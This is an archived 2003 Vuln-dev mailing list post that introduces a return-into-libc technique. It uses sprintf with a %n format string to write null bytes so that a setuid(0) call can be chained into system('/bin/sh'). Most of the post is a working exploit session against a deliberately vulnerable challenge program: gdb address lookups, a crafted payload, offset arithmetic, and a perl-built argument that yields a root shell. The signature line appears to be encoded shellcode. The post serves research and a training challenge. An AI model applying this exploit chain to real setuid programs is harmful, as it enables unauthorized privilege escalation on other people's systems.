Vulnerability Development mailing list archives

Re: [Vuln-dev Challenge] Challenge #2 (New technique maybe?)


From: Jon Erickson <matrix () phiral com>
Date: Tue, 3 Jun 2003 17:18:44 -0700

On Sat, 24 May 2003 18:03:03 -0700
Jose Ronnick <matrix () phiral com> wrote:
There's also a way to do with without building a trampoline prog to bounce 
off of.. just chaining libc calls...  If no one else posts a solution doing
it, I'll do it an post it later...

So I had mentioned that there was a way to exploit this program without building a trampoline program...  just by 
chaining libc calls...  And since no one else has posted a solution doing so.. and a few people have expressed 
interest.. I figured I'd do so.  Also, I think this might be a new technique I came up with.. so I figured I'd share.

Basically what I'm going to try to do it chain some libc calls, just like solar designer explained so many years ago..  
a setuid() call chained into a system() call..  the setuid restoring privileges...  The dilemma here (which he left as 
an exercise for the reader) is that setuid() expects an unsigned integer as it's only argument.  Since this value 
should be 0, the word for this argument should be 0x00000000.  This is a problem, because any null byte will terminate 
the string, and this argument must be in the middle of the chain..

[&setuid][&system][0x00000000][&"/bin/sh"]

Crap.  A recent phrack article explains a method for writing nulls using multiple strcpy() calls, but this makes the 
chain pretty big..  so..

here's my idea..  return-into-libc... meet my good friend the format string..  Using direct parameter access, we can 
skip over the arguments that are used for other calls in the chain, and using %n at the beginning, we can write 4 bytes 
of null anywhere we want.  In fact, using a more complex format string, and returning into the libc functions sprintf() 
or printf(), we can write to a multitude of different addresses, all with a single call...  And by using direct 
parameter access, we can leave room for other chains and only hit the arguments we want.

In it's most basic form...

[&sprintf][&setuid][&here][&format_string][&"/bin/sh"][&here-8]
                              ^--------------------------'
                              |This is where you need a null

with a format string that looks something like "%2$n<&system>"..

The sprintf call will happen first, parsing the DPA in the format string to access the second arg (the address where 
you need the null) and doing a %n  (write 4 bytes of 0).  Then it will print the address of system into &here, getting 
ready for the end of the chain..  Then it will return into the setuid() call, using the newly written word of null as 
the argument for it.. Then that will return into the newly written system address to do a system call with the 
"/bin/sh" argument which was neatly skipped over with thanks to direct parameter access.

Being able to write any number of nulls to a nearly arbitrary number of addresses with a single call is very useful in 
cutting up strings..  In the following exploit, I use it to null terminate the "/bin/sh" string before the system call..

Anyway.. I think this is new, and might be helpful to some people..  Here's an example of it's use on the vulndev2.c 
challenge.  In this one I use a slightly more complex format string, where I actually write 3 different addresses with 
a single call; two nulls and the system address.  Also.. on my laptop the system address is annoyingly at an address 
ending with 0x20, which is the space character.  Pain in the ass, but luckily the instruction right before it is a NOP, 
so I just return into there.. whew..  basically everything else is the same as my last exploit.. switch around the 
exit(1) to a sleep(1), and then chain away from there using this new technique...  Oh yeah.. also all that sed stuff 
with the vulnD program is just to figure out where the buffer will be located in the vuln2 program...  And I tried to 
make the pcalc calculations as intuitive as possible.. anyway.. lemme know what you guys think..

matrix@overdose vuln-dev $ gcc -o vuln2 vulndev2.c 
matrix@overdose vuln-dev $ sudo chown root.root vuln2
matrix@overdose vuln-dev $ sudo chmod +s vuln2
matrix@overdose vuln-dev $ echo 'main(){sleep();setuid();system();sprintf(0);}' > e.c;gcc -o e.x e.c;gdb -q e.x; rm e.*
(gdb) break main
Breakpoint 1 at 0x80483de
(gdb) run
Starting program: /home/matrix/research/vuln-dev/e.x 

Breakpoint 1, 0x080483de in main ()
(gdb) p sleep
$1 = {<text variable, no debug info>} 0x400ce760 <sleep>
(gdb) p setuid
$2 = {<text variable, no debug info>} 0x400cf3f0 <setuid>
(gdb) p system
$3 = {<text variable, no debug info>} 0x40063520 <system>
(gdb) p sprintf
$4 = {<text variable, no debug info>} 0x400739b0 <sprintf>
(gdb) x/i system-1
0x4006351f <do_system+847>:     nop    
(gdb) quit
The program is running.  Exit anyway? (y or n) y
matrix@overdose vuln-dev $ printf "\x60\xe7\x0c\x40/bin/shXXXX%%2\$n%%3\$n\x1f\x35\x06\x40\x00" > db.log
matrix@overdose vuln-dev $ cat db.log
`ç
  @/bin/shXXXX%2$n%3$n5@matrix@overdose vuln-dev $ 
matrix@overdose vuln-dev $ objdump -R vuln2 | grep exit
0804974c R_386_JUMP_SLOT   exit
matrix@overdose vuln-dev $ sed -e 's/1]);/1]);\nprintf("buf @ %p\\n",\&buf);/' vulndev2.c > vulndev2-debug.c
matrix@overdose vuln-dev $ grep -A 1 strcpy vulndev2-debug.c 
        strcpy(buf, argv[1]);
printf("buf @ %p\n",&buf);
matrix@overdose vuln-dev $ gcc -o vulnD vulndev2-debug.c 
matrix@overdose vuln-dev $ ./vulnD `perl -e 'print "ABCD"x38;'` h
buf @ 0xbffff680
Segmentation fault
matrix@overdose vuln-dev $ pcalc 0xf680 + 124 + 4 + 4
        63236           0xf704          0y1111011100000100
matrix@overdose vuln-dev $ pcalc 0x974c + 4 + 7 + 4
        38747           0x975b          0y1001011101011011
matrix@overdose vuln-dev $ pcalc 0x974c + 4        
        38736           0x9750          0y1001011101010000
matrix@overdose vuln-dev $ pcalc 0xf680 + 124 + 4 + 4 + 4
        63240           0xf708          0y1111011100001000
matrix@overdose vuln-dev $ pcalc 0x974c + 4 + 7    
        38743           0x9757          0y1001011101010111
matrix@overdose vuln-dev $ ./vuln2 `perl -e 'print "\x4c\x97\x04\x08"x31 . "\xb0\x39\x07\x40" . "\xf0\xf3\x0c\x40" . 
"\x04\xf7\xff\xbf" . "\x5b\x97\x04\x08" . "\x50\x97\x04\x08" . "\x08\xf7\xff\xbf" . "\x57\x97\x04\x08";'` h
`ç
  @/bin/shXXXX%2$n%3$n5@
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio),250(portage)
sh-2.05b# 

Nothing but libc calls... awww yeah...  =)

-- 
%JOSE_RONNICK%50,:-dddd-0EEb-pVVyP\-1111-jjjj-yNNN-_4HUP-qq0q-02%r-_Z%JP-%Iwp-5kyyP-n5nn-aTTa-1271P-4ttt-/888-3tSMP-bbnb-L8wL-kMwgP-3Hy3-rqzWP-m%m8-h4x--v%r5P-S7S7-g7g7-F2u2PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

Attachment: _bin
Description:


Current thread: